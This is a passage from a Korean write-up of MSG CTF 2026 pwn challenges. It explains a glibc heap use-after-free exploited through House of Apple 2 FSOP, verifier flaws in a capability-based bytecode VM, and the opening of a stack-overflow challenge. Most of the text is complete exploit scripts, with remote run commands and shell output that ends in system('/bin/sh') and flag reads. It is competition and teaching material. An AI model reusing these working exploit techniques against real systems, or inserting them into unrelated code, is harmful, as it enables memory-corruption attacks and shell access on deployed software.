libc_base = stderr_leak - libc.sym["_IO_2_1_stderr_"]
```

6. House of Apple 2

Full RELRO와 최신 glibc의 vtable 검사를 우회하기 위해 임의 vtable 주소 대신 libc 안의 정상 vtable인 _IO_wfile_jumps를 사용한다.

최종 payload는 같은 0x1d8 청크 안에 세 구조를 겹쳐 배치한다.

코드 블록 (text)

```
A+0x000  forged FILE
A+0x0e0  fake _IO_wide_data
A+0x100  fake wide vtable
```

forged FILE

Offset	값	의미
0x00	" /bin/sh₩0"	FILE flags이자 최종 system 인자
0x68	0	_chain 종료
0x88	A+0x1d0	lock 처리에 사용할 writable 주소
0xa0	A+0xe0	_wide_data

Offset	값	의미
0xc0	1	_mode > 0
0xd8	_IO_wfile_jumps	검사를 통과하는 정상 vtable

FILE 시작에 공백 두 개가 붙은 /bin/sh를 넣어도 shell에서는 유효한 명령이다. 동시에 이 값의 flag 비트는 _IO_wfile_overflow의 주요 검사를 통과한다.

fake wide data

_wide_data = A+0xe0으로 설정하고 다음 필드를 만든다.

wide_data 기준 offset	값	의미
0x18	0	wide _IO_write_base
0x20	1	wide _IO_write_ptr > _IO_write_base
0x30	0	_IO_buf_base == 0, doallocate 경로 진입
0xe0	A+0x100	fake _wide_vtable

fake wide vtable

fake wide vtable은 A+0x100에 두고 __doallocate 슬롯인 +0x68에 system을 쓴다.

코드 블록 (text)

```
*(A + 0x100 + 0x68) = system
```

fake wide vtable과 fake wide data는 같은 청크 안에서 일부 겹치지만, 실제 호출 경로에서 사용하는 필드가 충돌하지 않도록 배치되어 있다.

_lock의 bookkeeping 일부는 인접한 writable 청크 헤더까지 닿지만, 해당 청크를 다시 해제하거나 병합하기 전에 system이 호출되므로 이 공격 경로에서는 문제가 되지 않는다.

7. 실행 흐름

메뉴 8의 exit()가 stdio stream을 flush하면서 다음 호출 체인이 실행된다.

코드 블록 (text)

```
exit
  -> _IO_flush_all_lockp
    -> FILE vtable의 overflow
      -> _IO_wfile_overflow
        -> _IO_wdoallocbuf
          -> wide_data->_wide_vtable->__doallocate(FILE *)
            -> system(FILE *)
```

FILE의 시작 주소가 그대로 첫 번째 인자로 전달되므로 최종 호출은 다음과 같다.

코드 블록 (c)

```
system("  /bin/sh");
```

문제는 Edit을 최대 두 번, 한 번에 최대 0x100바이트만 허용한다. 전체 payload는 정확히 두 조각으로 나누면 모두 쓸 수 있다.

코드 블록 (python)

```
edit(ghost_A, 0x000, payload[0x000:0x100])  # 0x100 bytes
edit(ghost_A, 0x100, payload[0x100:0x1d8])  # 0x0d8 bytes
```

8. 전체 익스플로잇 순서

코드 블록 (text)

```
1. 0x1d8 크기 A, B, C를 생성한다.
2. A와 B를 공유 슬롯에 복사한다.
3. A를 삭제하고 ghost_A로 safe-link tail 값을 읽는다.
4. B를 삭제하고 ghost_B로 encoded A 주소를 읽는다.
5. 두 누출로 A의 정확한 주소를 계산한다.
6. C를 삭제하여 tcache를 C -> B -> A로 만든다.
7. Open archive를 호출해 fopen의 FILE을 A에 배치한다.
8. ghost_A의 +0x68을 읽어 libc base를 계산한다.
9. House of Apple 2 payload를 두 번의 Edit으로 쓴다.
10. Exit을 호출해 system("/bin/sh")을 실행한다.
11. 셸에서 플래그 파일을 읽는다.
```

9. 실행 방법

로컬 실행:

코드 블록 (bash)

```
python3 solve.py -v
```

명령 하나를 자동 실행하려면 -c를 사용한다.

코드 블록 (bash)

```
python3 solve.py -v -c 'echo LOCAL_OK; id'
```

원격 TLS/SNI:

코드 블록 (bash)

```
python3 solve.py ₩
  e12d0c7c479af24c428a7ce821078d56.gate.msgctf.kr ₩
  443 --tls -v ₩
  -c 'cat /flag* flag* 2>/dev/null'
```

원격 실행 결과:

코드 블록 (text)

```
[+] overlapped FILE = 0x560fc8dc02a0
[+] _IO_2_1_stderr_ = 0x7ebb766c76a0
[+] libc base = 0x7ebb764ac000
[+] system = 0x7ebb764fcd70
msgctf2026{Y0u_4rE_5u<<@sS_...!__@>--}
```

10. 핵심 포인트

• 포인터를 공유할 때 참조 횟수나 객체 수명을 함께 관리하지 않으면 dangling alias가 남는다.

• safe-linking은 힙 주소 유출을 어렵게 하지만, 연속 청크의 간격과 두 개의 encoded pointer를 알면 정확한 주소를 복구할 수 있다.

• tcache의 LIFO 순서와 라이브러리 함수 내부 할당을 맞추면 UAF 포인터를 원하는 libc 객체와 겹칠 수 있다.

• glibc의 FILE vtable 검사가 있어도 정상 _IO_wfile_jumps와 내부 wide vtable 간접 호출을 조합한 FSOP가 가능하다.

• 이 문제는 Print의 0x80바이트 leak과 Edit의 두 번/0x100바이트 제한을 각각 정확히 libc leak과 0x1d8바이트 FILE 위조에 맞춰 설계했다.

익스플로잇 코드 / 분석 코드 전체

전체 파일: Ghost_File_solve.py · 180 lines · SHA-256 19f433958bf695aba73a742d565e0dc9694a87e66f141d979fb88fb0cc83f5d3

```
#!/usr/bin/env python3
"""Exploit for Ghost_File (glibc 2.35 House of Apple 2)."""

import argparse
from pathlib import Path

from pwn import ELF, context, log, p32, p64, process, remote, u64


HERE = Path(__file__).resolve().parent
CHALL = str(HERE / "chall")
LOADER = str(HERE / "ld-linux-x86-64.so.2")
LIBC = str(HERE / "libc.so.6")

context.arch = "amd64"
context.binary = ELF(CHALL, checksec=False)
libc = ELF(LIBC, checksec=False)


class GhostFile:
    def __init__(self, tube):
        self.io = tube

    def menu(self, choice):
        self.io.sendlineafter(b"> ", str(choice).encode())

    def create(self, index, size, data):
        assert len(data) == size
        self.menu(1)
        self.io.sendlineafter(b"index: ", str(index).encode())
        self.io.sendlineafter(b"size: ", str(size).encode())
        self.io.sendafter(b"data: ", data)

    def edit(self, index, offset, data):
        assert 1 <= len(data) <= 0x100
        self.menu(2)
        self.io.sendlineafter(b"index: ", str(index).encode())
        self.io.sendlineafter(b"offset: ", str(offset).encode())
        self.io.sendlineafter(b"length: ", str(len(data)).encode())
        self.io.sendafter(b"data: ", data)

    def delete(self, index):
        self.menu(3)
```

```
        self.io.sendlineafter(b"index: ", str(index).encode())

    def show(self, index, length):
        self.menu(4)
        self.io.sendlineafter(b"index: ", str(index).encode())
        self.io.recvuntil(b"content:₩n")
        result = self.io.recvn(length)
        self.io.recvn(1)  # putc('₩n')
        return result

    def share(self, source, destination):
        self.menu(5)
        self.io.sendlineafter(b"source: ", str(source).encode())
        self.io.sendlineafter(b"destination: ", str(destination).encode())

    def open_archive(self):
        self.menu(6)


def recover_first_chunk(tail_key, second_encoded_fd, chunk_size=0x1E0):
    """Recover chunk A without relying on the usual heap+0x2a0 offset."""
    candidates = []
    page = tail_key << 12
    for low in range(0, 0x1000, 0x10):
        first = page | low
        second = first + chunk_size
        if first ^ (second >> 12) == second_encoded_fd:
            candidates.append(first)
    if len(candidates) != 1:
        raise RuntimeError(
            f"ambiguous heap leak: key={tail_key:#x}, "
            f"encoded={second_encoded_fd:#x}, candidates={candidates!r}"
        )
    return candidates[0]


def make_fsop_payload(file_address):
    """Forge FILE, wide_data and a wide vtable in one 0x1d8 allocation."""
    payload = bytearray(0x1D8)

    def qword(offset, value):
        payload[offset : offset + 8] = p64(value)

    # system() receives the FILE address as its first argument.
    payload[:10] = b"  /bin/sh₩x00"

    qword(0x68, 0)                          # _chain: stop list traversal
    qword(0x88, file_address + 0x1D0)     # valid _lock storage
    qword(0xA0, file_address + 0xE0)      # _wide_data
    payload[0xC0 : 0xC4] = p32(1)         # _mode > 0
    qword(0xD8, libc.sym["_IO_wfile_jumps"])

    wide_data = 0xE0
    qword(wide_data + 0x18, 0)            # _IO_write_base
    qword(wide_data + 0x20, 1)            # _IO_write_ptr > base
    qword(wide_data + 0x30, 0)            # _IO_buf_base -> doallocate
    qword(wide_data + 0xE0, file_address + 0x100)  # _wide_vtable

    # _IO_wdoallocbuf calls wide_vtable->__doallocate at offset 0x68.
    qword(0x100 + 0x68, libc.sym["system"])
    return bytes(payload)


def exploit(io, verbose=False):
    ghost = GhostFile(io)
    size = 0x1D8

    # A, B, C are contiguous 0x1e0 chunks.
    for index in range(3):
        ghost.create(index, size, bytes([0x41 + index]) * size)

    # Keep dangling aliases for A and B, then leak their safe-linked fd words.
    ghost.share(0, 3)
    ghost.share(1, 4)
    ghost.delete(0)                         # tcache: A -> NULL
    tail_key = u64(ghost.show(3, size)[:8])
    ghost.delete(1)                         # tcache: B -> A
    second_fd = u64(ghost.show(4, size)[:8])
    target = recover_first_chunk(tail_key, second_fd)

    # tcache becomes C -> B -> A. Open archive consumes C and B with two
    # explicit mallocs; fopen's locked_FILE allocation then lands on A.
    ghost.delete(2)
    ghost.open_archive()

    file_prefix = ghost.show(3, 0x80)
    stderr_pointer = u64(file_prefix[0x68:0x70])
    libc.address = stderr_pointer - libc.sym["_IO_2_1_stderr_"]
    if libc.address & 0xFFF:
        raise RuntimeError(f"invalid libc base: {libc.address:#x}")

    if verbose:
        log.info(f"overlapped FILE = {target:#x}")
        log.info(f"_IO_2_1_stderr_ = {stderr_pointer:#x}")
        log.info(f"libc base = {libc.address:#x}")
        log.info(f"system = {libc.sym['system']:#x}")

    payload = make_fsop_payload(target)
    ghost.edit(3, 0, payload[:0x100])
    ghost.edit(3, 0x100, payload[0x100:])
```

```
    # exit() flushes the forged stream and reaches system("  /bin/sh").
    ghost.menu(8)
    return io


def start(args):
    if args.host:
        return remote(args.host, args.port, ssl=args.tls, sni=args.host if args.tls else None)
    return process([LOADER, "--library-path", str(HERE), CHALL], cwd=str(HERE))


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("host", nargs="?")
    parser.add_argument("port", nargs="?", type=int)
    parser.add_argument("--tls", action="store_true")
    parser.add_argument("-v", "--verbose", action="store_true")
    parser.add_argument(
        "-c",
        "--command",
        help="run one shell command and exit instead of opening an interactive shell",
    )
    args = parser.parse_args()
    if bool(args.host) != bool(args.port):
        parser.error("host and port must be supplied together")

    io = exploit(start(args), args.verbose)
    if args.command:
        io.sendline(args.command.encode() + b"; exit")
        print(io.recvall(timeout=5).decode(errors="replace"), end="")
    else:
        io.interactive()


if __name__ == "__main__":
    main()
```

재현 결과

원격 셸에서 플래그를 읽었다.

FLAG: msgctf2026{Y0u_4rE_5u<<@sS_...!__@>--}

10. random6

분야	Pwn / eBPF-like VM
상태	완료

풀이 과정

ramdom6

- 분야: Pwn
- 바이너리: random6
- 최종 익스플로잇: solve.py (./solve.py)
- 플래그 형식: msgctf2026{...}

1. 요약

이 문제는 사용자 바이트코드를 검증한 뒤 실행하는 작은 VM 문제다. VM은 일반 주소 대신 cookie가 들어간 64비트 capability를 사용하고, Metadata와 Control 영역은 정상적인 명령으로 쓸 수 없게 되어 있다.

공격에는 검증기의 두 가지 오류를 조합한다.

- 포인터 상태를 합칠 때 object ID와 permission을 각각 독립적으로 병합하여 존재할 수 없는 writable Data 포인터를 만든다.
- MOV32의 liveness 계산 오류를 이용해, 런타임에서는 capability이지만 검증기에서는 정확한 정수 0인 값을 만든다.

두 번째 오류로 capability 간 차이인 ±2^32를 검증기에 들키지 않고 더할 수 있다. 첫 번째 오류로 만든 포인터를 Metadata, 이후 Control로 재지정하여 SipHash 키와 nonce를 읽고, status = 0x1337인 올바른 Control 레코드를 써서 플래그를 얻는다.

2. 초기 분석

배포된 random6는 section header가 제거된 패킹 바이너리였다. 실행 중 메모리에 복원된 ELF를 덤프한 뒤 IDA에서 분석했다. 서버는 PORT와 FLAG 환경 변수를 사용하며, 접속하면 다음 배너를 보낸다.

코드 블록 (text)

```
random6 ready
```

한 TCP 연결 안에서 다음 두 프레임을 반복해서 받는다.

코드 블록 (text)

```
BE32(bytecode_length) || bytecode
BE32(data_length)     || data
```

각 프레임의 최대 길이는 0x1000이다. 바이트코드 명령 하나는 8바이트다.

코드 블록 (c)

```
struct instruction {
    uint8_t  opcode;
    uint8_t  dst;
    uint8_t  src_or_jump_low;
    uint8_t  flags_or_jump_high;
    uint32_t imm_le;
};
```

익스플로잇에서 중요한 opcode는 다음과 같다.

Opcode	의미
0x01	MOV64 dst, imm
0x02	MOV64 dst, src
0x03	MOV32 dst, imm
0x04	MOV32 dst, src
0x06	ADD64 dst, src
0x08	SUB64 dst, imm
0x0b	XOR64 dst, imm
0x10	JEQ dst, imm

Opcode	의미
0x11	JEQ dst, src
0x16	JA
0x23	LD64 dst, [src+imm]
0x27	ST64 [dst+imm], src
0x30	helper 호출
0x31	EXIT

3. Capability와 보호 영역

capability의 상위 32비트는 영역을 식별하고, 하위 32비트는 offset으로 사용된다. 세션마다 임의의 32비트 cookie가 만들어진다.

코드 블록 (text)

```
capability = ((cookie ^ region_id) << 32) | offset
```

영역과 획득 방법은 다음과 같다.

이름	ID	크기	획득 방법
Stack	1	0x200	초기 r9
Session	2	0x100	helper 2
Data	3	0x1000	helper 1
Metadata	4	0x28	helper 3의 런타임 반환값
Control	5	0x18	Metadata+0x20에 저장

편의상 ID 2~5의 base capability를 각각 P2~P5라고 부른다.

helper의 역할은 다음과 같다.

• helper 1: Data capability 반환

• helper 2: Session capability 반환

• helper 3: 런타임에서는 Metadata capability 계열의 값을 반환하지만, 검증기에서는 일반 scalar로 취급

• helper 4: r1 값을 EMIT %016x 형식으로 출력

Metadata의 레이아웃은 다음과 같다.

코드 블록 (c)

```c
struct metadata {
    uint64_t random_value;  // +0x00
    uint64_t siphash_k0;    // +0x08
    uint64_t siphash_k1;    // +0x10
    uint32_t cookie;        // +0x18
    uint32_t padding;
    uint64_t control_cap;   // +0x20, P5
};
```

Control은 24바이트다.

코드 블록 (c)

```c
struct control {
    uint32_t status;
    uint32_t cookie;
    uint64_t nonce;
    uint64_t tag;       // SipHash-2-4(k0, k1, 앞의 16바이트)
};
```

EXIT 시 cookie와 SipHash tag가 올바르고 status == 0x1337이면 서버가 FLAG <flag>를 출력한다.

4. 취약점 1: 포인터 상태 병합 오류

검증기는 레지스터마다 type, 범위, 포인터 object ID, permission, provenance 등의 abstract state를 유지한다.

helper 1과 helper 2가 만든 포인터의 상태는 대략 다음과 같다.

코드 블록 (text)

```
helper 1: Data(id=3),     read-only(permission=1)
helper 2: Session(id=2), writable(permission=2)
```

포인터 provenance는 전체 PC가 아니라 다음 4비트 해시만 사용한다.

코드 블록 (python)

```
provenance = ((0x9e3779b1 * pc) & 0xffffffff) >> 28
```

따라서 helper 1과 helper 2를 provenance가 충돌하는 PC에 배치할 수 있다. 두 제어 흐름을 합치면 검증기는 object ID와 permission을 각각 독립적으로 큰 값으로 병합한다.

코드 블록 (text)

```
id         = max(3, 2) = 3  -> Data
permission = max(1, 2) = 2  -> writable
```

결과는 어느 경로에도 실제로 존재하지 않았던 writable Data 포인터다. 런타임 분기 조건에는 항상 0이 아닌 helper 3 반환값을 사용하여 실제 실행은 helper 1, 즉 Data 경로를 타게 했다.

이것만으로는 Data 영역만 쓸 수 있으므로 아직 플래그를 얻을 수 없다. 포인터의 런타임 region ID를 Metadata와 Control로 바꿀 방법이 추가로 필요하다.

5. 취약점 2: MOV32 liveness 오류

VM의 MOV32는 일반적인 32비트 move와 다르게 기존 목적 레지스터의 상위 32비트를 보존한다.

코드 블록 (text)

```
dst = (dst & 0xffffffff00000000) | new_low32
```

즉, transfer와 런타임 모두 dst의 기존 상위 32비트를 읽는다. 하지만 liveness 분석은 MOV32를 목적 레지스터 전체를 덮어쓰는 명령으로 처리하여 기존 dst를 live-in에 넣지 않는다.

다음 gadget으로 이 차이를 이용했다.

코드 블록 (text)

```
        H3                      ; r0 = 런타임에서 항상 0이 아닌 값
        JEQ_REG r0, r0, target  ; 런타임에서는 항상 target

        MOV64_IMM dst, 0        ; 검증기가 먼저 처리하는 fallthrough
        JA join
        NOP

target:
        H1_or_H2
        MOV64_REG dst, r0       ; 런타임 dst = capability

join:
        MOV32_IMM dst, 0
```

검증기는 조건 분기의 두 후속 경로를 모두 탐색하며 fallthrough를 먼저 worklist에 넣는다. join의 첫 명령인 MOV32_IMM에서 기존 dst가 죽은 값으로 잘못 계산되므로, target에서 들어온 capability 상태는 이미 본 fallthrough 상태와 같다고 판단되어 제거된다.

따라서 같은 레지스터가 서로 다르게 보인다.

코드 블록 (text)

```
검증기:  dst = 정확한 scalar 0
런타임:  dst = capability의 상위 32비트, 하위 32비트는 0
```

이 gadget을 두 번 사용하여 다음 값을 만든다.

코드 블록 (text)

```
r6 = P3  (검증기에서는 0)
r7 = P2  (검증기에서는 0)
```

두 base의 차이는 항상 다음과 같다.

코드 블록 (text)

```
P2 - P3 = ((cookie ^ 2) - (cookie ^ 3)) << 32
        = ±2^32
```

검증기에는 0 - 0 == 0으로 보이지만 런타임에는 capability region을 한 단계 이동시키는 단위가 생긴다.

6. Metadata와 Control 포인터 만들기

먼저 helper 반환값의 하위 32비트를 0으로 만든 뒤 helper 4로 출력하여 P2, P3, P4를 유출한다. 목표 capability에 필요한 배수는 다음과 같이 계산할 수 있다.

코드 블록 (python)

```
unit = P2 - P3
k4 = (P4 - P3) // unit
k5 = (P5 - P3) // unit
```

cookie ^ n의 하위 몇 비트만 달라지므로 이 배수는 작은 정수다. 음수인 경우 최종 누산기를 negate하면 검증기의 scalar 범위 정밀도가 깨질 수 있다. 그래서 exploit에서는 먼저 P2-P3 또는 P3-P2 중 적절한 방향을 선택하고 양수 횟수만큼 반복해서 더한다.

취약점 1로 만든 포인터를 r8에 보관하고 이 값을 더한다.

코드 블록 (text)

```
검증기: writable_Data_pointer + 0
런타임: P3 + k * (±2^32) = P4 또는 P5
```

검증기는 여전히 정상적인 writable Data 포인터라고 믿지만, 런타임 메모리 접근은 Metadata 또는 Control을 향한다.

7. 인증된 Control 레코드 위조

P4를 만든 뒤 다음 값을 8바이트씩 읽어서 helper 4로 출력한다.

코드 블록 (text)

```
Metadata+0x08 -> k0
Metadata+0x10 -> k1
Metadata+0x18 -> cookie
Metadata+0x20 -> P5
```

P5까지의 배수 k5를 계산한 다음 Control의 세 qword를 읽는다. 여기서 기존 nonce를 보존한다.

코드 블록 (text)

```
Control+0x00 -> status || cookie
Control+0x08 -> nonce
Control+0x10 -> 기존 tag
```

새 앞부분과 tag를 계산한다.

코드 블록 (python)

```
first16 = struct.pack("<IIQ", 0x1337, cookie, nonce)
tag = siphash24(k0, k1, first16)
payload = first16 + struct.pack("<Q", tag)
```

payload를 두 번째 입력 프레임의 Data 영역에 넣고, 세 번의 LD64와 ST64로 forged P5 포인터에 복사한다. 마지막 EXIT에서 모든 검사가 통과하며 플래그가 출력된다.

8. 실행

cookie, SipHash 키, capability는 연결마다 새로 생성되므로 유출부터 Control 덮어쓰기까지 반드시 하나의 TCP/TLS 연결에서 수행해야 한다. 또한 helper 호출은 r0~r5의 검증기 상태를 무효화하므로, exploit은 forged pointer를 r8에 보관하고 숨긴 capability 계산에는 r6와 r7을 사용한다.

로컬 일반 TCP:

코드 블록 (bash)

```
python3 solve.py 127.0.0.1 31337 -v
```

원격 TLS/SNI:

코드 블록 (bash)

```
python3 solve.py ₩
  ffa150c61dd6f4c2eaf3447855ddd5f8.gate.msgctf.kr ₩
  443 --tls -v
```

원격 실행 결과:

코드 블록 (text)

```
[+] P3=0xb6fd8bce00000000 P2=0xb6fd8bcf00000000 P4=0xb6fd8bc900000000 k4=-5
[+] key0=0x152e72ba46ff73d7 key1=0x93758526dbc62fbd cookie=0x2b8532ff
[+] P5=0xb6fd8bc800000000 k5=-6
msgctf2026{
random6_is_god!!!_159a937932167f5669f17df08385b496f9d740521615c84119a2ab17d20d940c4d5d2c41e5d39973e6fa4b235057ba2206
9f69848622b5a7746873b9985d4c34}
```

9. 핵심 포인트

- 포인터 병합 시 각 필드를 독립적으로 합치면 실제 경로에 없던 권한 조합이 생길 수 있다.
- transfer semantics와 liveness semantics가 정확히 일치해야 한다.
- MOV32처럼 일부 비트만 쓰는 명령은 기존 목적 레지스터의 나머지 비트를 읽으므로 read-modify-write로 취급해야 한다.
- capability의 정수 표현을 직접 위조할 수 없어도, 검증기에만 0으로 보이는 차이를 만들면 정상 포인터를 다른 영역으로 재지정할 수 있다.

• Metadata에는 별도 무결성 검사가 있으므로 Metadata는 읽기만 하고, 최종 변경은 올바른 MAC을 계산한 Control 24바이트에만 적용한다.

익스플로잇 코드 / 분석 코드 전체

전체 파일: random6_solve.py · 273 lines · SHA-256 51b12204ecd31f2a29c20ed33868dda59072540b6f7ea073432967f6d813130d

```
#!/usr/bin/env python3
"""Exploit for MSG CTF 2026 random6."""

import argparse
import socket
import ssl
import struct


MASK64 = (1 << 64) - 1


def insn(op, dst=0, src=0, imm=0):
    return struct.pack("<BBBBI", op, dst, src, 0, imm & 0xFFFFFFFF)


def jump_imm(op, dst, offset, imm):
    return struct.pack("<BBhI", op, dst, offset, imm & 0xFFFFFFFF)


def pc(program):
    return len(program) // 8


def provenance(program_counter):
    return ((0x9E3779B1 * program_counter) & 0xFFFFFFFF) >> 28


def append_writable_data_join(program, condition_register=0):
    """Create abstract writable Data pointer; runtime takes the Data path."""
    branch_pc = pc(program)
    for helper1_pc in range(branch_pc + 4, branch_pc + 80):
        for helper2_pc in range(helper1_pc + 3, branch_pc + 100):
            if provenance(helper1_pc) == provenance(helper2_pc):
                break
        else:
            continue
        break
    else:
        raise RuntimeError("could not find a provenance collision")

    # h3 is nonzero at runtime, so JEQ r0, 0 falls through to helper 1.
    program += jump_imm(
        0x10, condition_register, helper2_pc - (branch_pc + 1), 0
    )
    while pc(program) < helper1_pc:
        program += insn(1, 7, imm=0)
    program += insn(0x30, imm=1)  # Data: id=3, read-only
    program += insn(0x16, imm=helper2_pc - helper1_pc - 1)
    while pc(program) < helper2_pc:
        program += insn(1, 7, imm=0)
    program += insn(0x30, imm=2)  # Session: id=2, writable

    # The flawed state merge independently takes max(id) and max(permission),
    # producing the impossible combination Data + writable.
    return program


def append_hidden_capability(program, dst, helper):
    """Make runtime dst a cap base while verifier sees exact scalar zero."""
    program += insn(0x30, imm=3)
    program += insn(0x11, 0, 0, 3)  # JEQ_REG r0,r0: runtime -> target
    program += insn(1, dst, imm=0)    # verifier-retained fallthrough
    program += insn(0x16, imm=3)      # JA -> join
    program += insn(1, 5, imm=0)      # padding
    program += insn(0x30, imm=helper)
    program += insn(2, dst, 0)
    program += insn(3, dst, imm=0)
    return program


def forge_pointer(multiplier):
    """Return code leaving a verifier-writable forged runtime pointer in r8."""
    program = insn(0x30, imm=3)
    program = append_writable_data_join(program)
    program += insn(2, 8, 0)  # preserve pointer across helper calls

    # Verifier sees both registers as zero. Runtime sees the two cap bases.
    program = append_hidden_capability(program, 6, 1)  # P3, Data
    program = append_hidden_capability(program, 7, 2)  # P2, Session

    # Avoid negating the final accumulator: the verifier's interval operation
    # would lose exact-zero precision. Instead, choose the unit's orientation.
    if multiplier >= 0:
        program += insn(0x0B, 6, imm=-1) + insn(8, 6, imm=-1)
        program += insn(6, 7, 6)  # r7 = P2 - P3
```

```
        program += insn(1, 6, imm=0)
        for _ in range(multiplier):
            program += insn(6, 6, 7)
        program += insn(6, 8, 6)
    else:
        program += insn(0x0B, 7, imm=-1) + insn(8, 7, imm=-1)
        program += insn(6, 6, 7)  # r6 = P3 - P2
        program += insn(1, 7, imm=0)
        for _ in range(-multiplier):
            program += insn(6, 7, 6)
        program += insn(6, 8, 7)
    return program


def rol(value, count):
    return ((value << count) | (value >> (64 - count))) & MASK64


def siround(state):
    v0, v1, v2, v3 = state
    v0 = (v0 + v1) & MASK64
    v1 = rol(v1, 13) ^ v0
    v0 = rol(v0, 32)
    v2 = (v2 + v3) & MASK64
    v3 = rol(v3, 16) ^ v2
    v0 = (v0 + v3) & MASK64
    v3 = rol(v3, 21) ^ v0
    v2 = (v2 + v1) & MASK64
    v1 = rol(v1, 17) ^ v2
    v2 = rol(v2, 32)
    return v0, v1, v2, v3


def siphash24(key0, key1, message):
    state = (
        key0 ^ 0x736F6D6570736575,
        key1 ^ 0x646F72616E646F6D,
        key0 ^ 0x6C7967656E657261,
        key1 ^ 0x7465646279746573,
    )
    pos = 0
    while pos + 8 <= len(message):
        word = int.from_bytes(message[pos : pos + 8], "little")
        pos += 8
        state = (state[0], state[1], state[2], state[3] ^ word)
        state = siround(siround(state))
        state = (state[0] ^ word, state[1], state[2], state[3])

    tail = len(message) << 56
    for index, byte in enumerate(message[pos:]):
        tail |= byte << (8 * index)
    state = (state[0], state[1], state[2], state[3] ^ tail)
    state = siround(siround(state))
    state = (state[0] ^ tail, state[1], state[2] ^ 0xFF, state[3])
    for _ in range(4):
        state = siround(state)
    return state[0] ^ state[1] ^ state[2] ^ state[3]


class Connection:
    def __init__(self, host, port, use_tls=False, insecure=False):
        raw = socket.create_connection((host, port), timeout=10)
        if use_tls:
            context = (
                ssl._create_unverified_context()
                if insecure
                else ssl.create_default_context()
            )
            self.sock = context.wrap_socket(raw, server_hostname=host)
        else:
            self.sock = raw
        self.sock.settimeout(10)
        banner = self.sock.recv(4096)
        if b"random6 ready" not in banner:
            raise RuntimeError(f"unexpected banner: {banner!r}")

    def transact(self, program, data=b""):
        if len(program) > 0x1000 or len(data) > 0x1000:
            raise ValueError("frame exceeds 0x1000 bytes")
        self.sock.sendall(struct.pack(">I", len(program)) + program)
        self.sock.sendall(struct.pack(">I", len(data)) + data)
        output = b""
        while True:
            chunk = self.sock.recv(4096)
            if not chunk:
                raise EOFError(f"server closed connection: {output!r}")
            output += chunk
            if any(
                marker in output
                for marker in (b"EXIT₩n", b"FLAG ", b"FAIL", b"ERROR", b"CONTROL")
            ):
                break
        if b"FAIL" in output or b"ERROR" in output or b"CONTROL" in output:
            raise RuntimeError(output.decode(errors="replace").strip())
        return output


def emitted_words(output):
    return [
```

```
        int(line.split()[1], 16)
        for line in output.splitlines()
        if line.startswith(b"EMIT ")
    ]


def exploit(conn, verbose=False):
    # Leak aligned bases for Data (P3), Session (P2), and Metadata (P4).
    program = insn(1, 7, imm=0)
    program += insn(0x30, imm=1) + insn(4, 0, 7) + insn(2, 1, 0)
    program += insn(0x30, imm=4)
    program += insn(0x30, imm=2) + insn(4, 0, 7) + insn(2, 1, 0)
    program += insn(0x30, imm=4)
    program += insn(0x30, imm=3) + insn(3, 0, imm=0) + insn(2, 1, 0)
    program += insn(0x30, imm=4) + insn(0x31)
    p3, p2, p4 = emitted_words(conn.transact(program))

    unit = (p2 - p3) & MASK64
    signed_unit = unit if unit < (1 << 63) else unit - (1 << 64)

    def ratio(target):
        delta = (target - p3) & MASK64
        delta = delta if delta < (1 << 63) else delta - (1 << 64)
        if delta % signed_unit:
            raise RuntimeError("capability bases are not an integral unit apart")
        return delta // signed_unit

    k4 = ratio(p4)
    if verbose:
        print(f"[+] P3={p3:#018x} P2={p2:#018x} P4={p4:#018x} k4={k4}")

    program = forge_pointer(k4)
    for offset in (0, 8, 16, 24, 32):
        program += insn(0x23, 1, 8, offset) + insn(0x30, imm=4)
    program += insn(0x31)
    metadata = emitted_words(conn.transact(program))
    if len(metadata) != 5:
        raise RuntimeError(f"bad metadata leak: {metadata!r}")
    key0, key1 = metadata[1], metadata[2]
    cookie = metadata[3] & 0xFFFFFFFF
    p5 = metadata[4]
    k5 = ratio(p5)
    if verbose:
        print(f"[+] key0={key0:#018x} key1={key1:#018x} cookie={cookie:#x}")
        print(f"[+] P5={p5:#018x} k5={k5}")

    program = forge_pointer(k5)
    for offset in (0, 8, 16):
        program += insn(0x23, 1, 8, offset) + insn(0x30, imm=4)
    program += insn(0x31)
    control = emitted_words(conn.transact(program))
    if len(control) != 3:
        raise RuntimeError(f"bad Control leak: {control!r}")
    if siphash24(key0, key1, struct.pack("<QQ", control[0], control[1])) != control[2]:
        raise RuntimeError("the leaked Control MAC did not validate")

    first16 = struct.pack("<IIQ", 0x1337, cookie, control[1])
    payload = first16 + struct.pack("<Q", siphash24(key0, key1, first16))

    program = forge_pointer(k5) + insn(0x30, imm=1)
    program += insn(0x23, 3, 0, 0)
    program += insn(0x23, 4, 0, 8)
    program += insn(0x23, 5, 0, 16)
    program += insn(0x27, 8, 3, 0)
    program += insn(0x27, 8, 4, 8)
    program += insn(0x27, 8, 5, 16)
    program += insn(0x31)
    output = conn.transact(program, payload)
    for line in output.splitlines():
        if line.startswith(b"FLAG "):
            return line[5:].decode()
    raise RuntimeError(f"no flag in final response: {output!r}")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("host", nargs="?", default="127.0.0.1")
    parser.add_argument("port", nargs="?", type=int, default=31337)
    parser.add_argument("--tls", action="store_true")
    parser.add_argument("--insecure", action="store_true")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()
    conn = Connection(args.host, args.port, args.tls, args.insecure)
    print(exploit(conn, args.verbose))


if __name__ == "__main__":
    main()
```

재현 결과

위조 Control 레코드 검증을 통과해 플래그를 획득했다.

FLAG: msgctf2026{random6_is_god!!!_159a937932167f5669f17df08385b496f9d740521615c84119a2ab17d20d940c4d5d2c41e5d39973e6fa4b235057ba22069f69848622b5a7746873b9985d4c34}

11. simple note

분야	Pwn
상태	완료

풀이 과정

MSG CTF 2026 note Pwn Writeup

note는 이름과 메시지를 입력받는 간단한 메모 프로그램이다. 1번 메뉴의 범위 검증 없는 스택 출력으로 stack canary를 유출하고, 2번 메뉴의 stack buffer overflow에서 유출한 canary를 복원한 뒤 바이너리 내부의 system("/bin/sh") 함수로 복귀하면 셸을 획득할 수 있다.

문제 정보

제공 파일은 64비트 동적 링크 ELF 바이너리 하나다.

코드 블록 (text)

```
$ file note
note: ELF 64-bit LSB executable, x86-64, dynamically linked, stripped
```

보호기법은 다음과 같다.

코드 블록 (text)

```
$ checksec --file=note
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

- Full RELRO이므로 GOT overwrite는 적합하지 않다.
- NX가 활성화되어 있어 스택에 올린 shellcode를 직접 실행할 수 없다.
